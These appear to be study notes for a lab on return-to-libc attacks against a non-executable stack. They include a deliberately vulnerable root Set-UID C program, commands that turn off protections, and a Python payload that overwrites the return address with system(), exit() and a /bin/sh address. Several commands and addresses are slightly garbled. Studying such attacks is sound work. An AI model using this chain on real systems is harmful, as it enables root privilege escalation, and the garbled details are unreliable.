Non-Executable Stack

As we have seen in the buffer overflow attack, to countermeasure such problem we use a feature called "non-executable stack".

However, this technique can be defeated by another attacking method that consist to force the vulnerable program to return to a function in an existing library, such as libc.

We place the malicious code into a string called code.
Then by using:

strcpy(buffer,code);
((void(*)())buffer)(); 

we are calling the buffer as a function.
Such attack, works only if we compile in this way:

gcc -z execstack code.c

How to Defeat Non-Executable Stack

For a buffer overflow attack to succeed, some code needs to be executed: it could be stored on the stack or somewhere else, it doesn't mind. So, by Non-Executable Stack technique block attackers can only put contents into stack: they have to find code that is already in memory.

There is a region which is plenty of code: the region for the standard C library functions, libc.
Notice, this is a dynamic link library: before a program that use such functions starts, the OS load the libc in memory.

Now, we have to understand which function could be used. The easiest one is system(), which we have seen in 2_Attack_on_Set-UID.

Experiment

Setup

  1. We write the source code stack.c
/* stack .c */
int foo(char* str){
	char buffer[100];

	strcpy(buffer,str); // Here there's the buffer overflow problem
	return 1;
}

int main(int argc, char** argv){
	char str[400];
	FILE* badfile;
	
	badfile = fopen("badfile","r");
	fread(str,sizeof(char),300,badfile);
	foo(str);

	printf("Returned Properly\n");
	return 1;
}
  1. We compile the program with StackGuard and address randomization off, but the non-executable stack turned on.
    Indeed:
gcc -m32 -fno-stack-protector -z noexecstack -o stack stack.c
sudo systemctl -w kernel.randomize_va_space=0
  1. Set the program as root-owned Set-UID program.
sudo chown root stack
sudo chmod 4755 stack

Attack Steps

We have to:

  1. Find the address of system(): we have to find the address of system() function in memory. Then, we'll overwrite the return address in the vulnerable function with such address.
  2. Find the address of /bin/sh string: system() needs the know the memory address which contains command to be run.
  3. Argument to system(): after getting the address of the command, we need to pass it to system(). We have to put this address into the stack, since system gets the argument from it.

Task 1 and 2 can be done easily.

Task 1: Find the address of system()

Using the gdb debugger, and since our code all the libc, we can easily get the address of system(). Therefore

gbd$ p system
$1 = {<text variable, no debug info>} 0xf712420 <system>
gdb$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit> 

Clearly, we also need exit()later on.

Task 2: Find the address of /bin/sh string

We could export a environment variable called MYSHELL with value /bin/sh.

$ gcc ..
$ export MYSHELL="/bin/sh"

Since it is marked with export, MYSHELL will be passed the child process, therefore in the stack of the child too.
Therefore, with a simple program that print out MYSHELL address we can easily solve such problem:

$ export MYSHELL="/bin/sh"
$ env55
Value :/bin/sh
Address = 0xffffd40f

Notice: the address of the MYSHELL var is sensitive to the length of program name. Hence, the program to print the address should have the same length of the vulnerable program.

Task 3: Argument to system()

As usual, each function can access to its arguments using the frame pointer ebp.
Now, since system() is not called in a conventional way, we have to prepare the stack for such invocation, i.e. argument for system need to be on the stack.

To face this problem, we have to know exactly where the frame pointer ebp is after we have entered the system function.
Now, since we know that functions use frame pointer as reference pointer for their arguments, we know that the first argument of the function is at ebp + 8, the second at ebp + 12 and so on.

In this way, we know that the address of /bin/sh should be placed 8 bytes after (actually above) the predicted ebp value.
But, what is such value?
The ebp register goes though a series of changes at the start and end of a function.
These phases are referred as:

  • Prologue: this is the code a the beginning of a function; it's used to prepare the stack and the register for the function.
  • Epilogue: this is the code at the end of a function; it's used to restore the stack back to the state before the function is invoked.

By that, we now have to track the changes of ebp, since in our vulnerable program we have changed the return address to system function address inside the foo function; this means that the program will execute foo's function epilogue and system's function prologue.

So, now, we can look at this trace:
Pasted image 20250526163017.png
It's important to notice the ebp is replaced by esp, after foo epilogue. Then, %esp points right above where return address was stored.
Then, we jump to system(), so the function prologue starts. This will move %esp 4 bytes below and then %ebp to the current value of %esp.

Therefore, we can simply put the argument 8 bytes above ebp and since we want to close the program gracefully, we put at %ebp + 4 the address of exit() function.

Perform the attack

As for the buffer overflow attack, we need to know the offset between the %ebp and buffer.
Now, supposing that the offset is 108, we have:

  • the offset for the system() function is 108 + 4 = 112
  • the offset for the exit() function is 108 + 8 = 116
  • the offset for the /bin/sh string is 108 + 12 = 120

So, we cane construct badfile, using python:

sys_addr = 0xf712420
content[112:116]=(sys_addr).to_bytes(4,byteorder='little')

exit_addr = 0xf7e04f80
content[116:120]=(exit_addr).to_bytes(4,byteorder='little')

sh_address = 0xffffd40f
content[120:124]=(sh_address).to_bytes(4,byteorder='little')

Return-Oriented Programming

In the basic return-to-libc attack, we have seen how to chain 2 functions together.
However, this technique can be extended: it allow to chain many function together and chain blocks of code together.
This technique is called Return-Oriented Programming.

The ideas are the following:

  • Chaining function with no args: basically calling offset + 4 the 1° fun , then offset + +8 the 2° func and so on.
  • Chaining function with args: this can be done by:
    • Skipping function prologue
    • Using leave and ret
  • Chaining function with Zero in the arg: by using a function call to dynamically change the argument to zero on the stack.